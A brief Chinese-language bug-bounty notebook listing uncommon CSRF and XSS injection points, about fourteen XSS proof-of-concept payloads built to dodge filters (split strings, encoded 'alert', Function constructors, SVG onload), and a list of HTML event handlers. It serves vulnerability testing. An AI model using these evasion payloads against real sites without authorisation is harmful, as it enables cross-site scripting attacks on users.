src漏洞小记

csrf

csrf时src挖掘中比较多的漏洞点,但是一般只有敏感操作才收,这里记录一下几个不常见的地方

  1. 绑定设备处
  2. 修改绑定手机处/邮箱处(利用自己的手机号接受验证码)
  3. json格式未交验content-type
  4. get型csrf配合img标签

    xss

    xss是个人遇到最多的,有各种触发xss的地方,这里记录一些比较少见的地方和个人常用payload:

  5. 上传文件名处

  6. 弹幕处
  7. 富文本img标签内
  8. 网页端和app端差异
  9. 提交反馈处
  10. 上传svg/html处

常用payload

  1. <img src=111 onerror=alert(1)>
  2. <svg/onload=alert(1)>
  3. <a href="javascript:alert(1)">
  4. [1].find(alert);
  5. top['al\x65rt'](2);
  6. top["al"+"ert"](3);
  7. setTimeout('ale'+'rt(4)');
  8. Function("ale"+"rt(5)")();
  9. new Function`al\ert\`6\``;
  10. setInterval('ale'+'rt(7)');
  11. top[8680439..toString(30)](8);
  12. top[/al/.source+/ert/.source](9);
  13. open('java'+'script:ale'+'rt(10)');
  14. <svg/onload=prompt%26%230000000040document.domain)>

特殊on事件

  1. onmousedown
  2. onmousemove
  3. onmouseout
  4. onmouseover
  5. onmouseup
  6. onmousewheel
  7. onscroll
  8. onabort
  9. oncanplay
  10. oncanplaythrough
  11. onended
  12. onerror
  13. onloadeddata
  14. onloadedmetadata
  15. onloadedstart
  16. onpause
  17. onplay
  18. onplaying
  19. onprogress

jsonp

jsonp和cors时候比较多出现的,当遇到时需要多留意一下